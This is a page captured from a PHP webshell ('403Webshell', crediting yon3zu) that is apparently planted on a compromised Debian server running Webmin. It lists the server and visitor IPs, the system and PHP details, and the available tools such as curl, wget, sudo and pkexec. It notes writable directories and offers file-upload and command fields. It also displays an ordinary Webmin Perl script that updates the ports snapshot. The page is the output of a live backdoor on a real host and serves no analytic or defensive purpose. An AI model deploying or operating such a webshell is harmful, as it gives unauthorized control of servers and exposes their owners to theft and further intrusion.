403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/software/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/software/ports_upgrade.cgi
#!/usr/bin/perl
# Update ports snapshot

require './software-lib.pl';
&foreign_require("proc");

&ui_print_unbuffered_header(undef, $text{'ports_upgrade'}, "");

foreach my $cmd ("portsnap fetch",
		 "portsnap update || portsnap extract") {
	print &text('ports_running', "<tt>$cmd</tt>"),"<br>\n";
	print "<pre>";
	($fh, $pid) = &proc::pty_process_exec($cmd);
	while(<$fh>) {
		print &html_escape($_);
		}
	close($fh);
	print "</pre>";
	last if ($?);
	}

&ui_print_footer("?tab=update", $text{'index_return'});


Youez - 2016 - github.com/yon3zu
LinuXploit